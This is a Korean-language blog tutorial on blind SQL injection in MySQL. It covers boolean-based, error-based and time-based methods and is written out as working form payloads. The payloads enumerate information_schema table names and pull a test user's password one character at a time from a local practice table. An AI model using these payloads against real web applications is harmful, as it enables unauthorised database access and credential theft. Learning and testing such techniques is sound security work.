Boolean-based Blind SQL Injection

쿼리 실행 결과의 ``sql True / False`` 여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다.

꼭 로그인에 성공해야 ``sql True``인 것은 아니다. query의 실행 결과가 참인 상태에서 로그인에 실패한 것과 query 실행 결과가 거짓인 상태에서 로그인에 실패한 것 둘을 구분할 수 있다면 사용할 수 있다. 중요한 것은 query의 실행 결과를 구분할 수 있느냐다.

다음 내장 함수를 사용한다.

```sql

SUBSTR(str,pos,len) / ASCII(str)


mysql> select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum';

OR

mysql> select ascii(substr((select pw from sqlinj_test where id='umbum'), 1, 1));

+-------------------------+

| ascii(substr(pw, 1, 1)) |

+-------------------------+   -- pw is '123qwe'

|                      49 |   -- ascii('1') == 49

+-------------------------+

```


``sql umbum' #``을 적어 보내면, 참일 때의 반응이 돌아온다.

이를 이용해 form에 다음과 같이 입력하면, 참일 때의 반응이 돌아온다.

```

umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum') > 0 #

```


#1 information_schema를 대상으로 Blind SQL injection을 수행해 table_name, column_name 등 사전 정보를 먼저 획득하고,
#2 획득한 table_name, column_name을 대상으로 Blind SQL injection을 수행해 최종적으로 필요한 정보를 획득하는 식으로 진행된다.

#1 사전 정보 획득

table_name을 알아낸다. 

```c

mysql> SELECT table_name FROM information_schema.tables

    -> WHERE table_type = 'BASE TABLE'

    -> LIMIT 53, 1;

+-------------+

| table_name  |

+-------------+

| sqlinj_test |

+-------------+

```

결과를 한 row 씩 반환받기 위해 mysql은 ``sql LIMIT n, 1``을 사용한다. ``c n >= 0``

(``sql ROWNUM``이나 ``sql TOP``을 사용하는 db도 있다.)

``sql LIMIT``를 사용할 때는 rows 반환 순서를 고려해야 한다.

반환 순서가 지멋대로 일 경우 ``sql ORDER BY``와 함께 사용하면 좋다.

  • 일반적인 경우 table을 생성하면 table_type은 `` BASE TABLE``로 지정된다.
  • root 계정일 경우 `` BASE TABLE``로 설정해도 반환되는 테이블이 꽤 많지만(보통 +52개),
    일반 계정은 `` BASE TABLE``로 설정하면 생성한 테이블만 반환된다.

```
umbum' and (SELECT ascii(substr(table_name, 1, 1)) FROM information_schema.tables WHERE table_type = 'BASE TABLE' LIMIT 1, 1) > 114 # True
umbum' and (SELECT ascii(substr(table_name, 1, 1)) FROM information_schema.tables WHERE table_type = 'BASE TABLE' LIMIT 1, 1) > 115 # False
```
따라서 첫 번째 글자는 `` 115 = s`` 다.
column_name도 같은 방식으로 알아낼 수 있다.

Note
```
select info from information_schema.processlist;
```
조회되는 테이블이 너무 많을 때 쓸만한 방법.
현재 실행중인 쿼리를 볼 수 있기 때문에 타이밍이 맞는다면 원하는 정보를 담고 있는 테이블을 알아내는데 사용할 수 있다.

#2

```

umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum') > 48 # True

umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum') > 49 # False

```
이므로, umbum's pw의 첫 번째 글자는 `` 49 = '1'``이다.

binary search

binary search를 이용하면 한 char 당 7번의 query만 날려도 구할 수 있어 시간을 단축할 수 있다.
Note ) 그러나 사용하지 말아야 할 때도 있다.
binary search는 내장 함수를 이용해 이런 방법으로도 구현할 수 있다.
```sql
# a == 0b1100001
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1);    # 1
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),2,1);    # 1
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),3,1);    # 0
```

``c '1'``같은 경우 맨 앞이 0이라 6자리로 나오기 때문에 ``sql lpad()``를 사용해 7자리로 맞춰주어야 한다.


Error-based Blind SQL Injection

``sql True / False``의 반응이 똑같아 구분할 수 없다면 Boolean-based는 사용할 수 없다. 그러나 이 때 Error의 반응이 다르다면 ``sql False`` 시 Error가 발생하도록 만들어 ``sql True / False``를 구분하는데 이용할 수 있다.
```sql
select * from table where 1 and if(1=1,1,(select 1 union select 2))
select * from table where 1 and if(1=2,1,(select 1 union select 2))
```
``sql True``이면 1을 반환하고, ``sql False``이면 Error가 발생한다.

Time-base Blind SQL Injection

Time-based Blind도 ``sql True / False`` 여부에 상관 없이 동일한 response가 오는 상황에서 사용할 수 있다.
Short-Circuit Evaluation 또는 IF를 활용해 ``c sleep()``이 실행되거나, 실행되지 않도록 한다.


'Security > WebHacking' 카테고리의 다른 글

SQL Filtering Substitution Pattern  (0) 2017.09.19
SQLMap  (0) 2017.09.05
Basic SQL injection  (0) 2017.08.08
인증(Authentication)과 인가(Authorization)  (0) 2017.06.28
Brute Force / Replay Attack  (0) 2017.06.28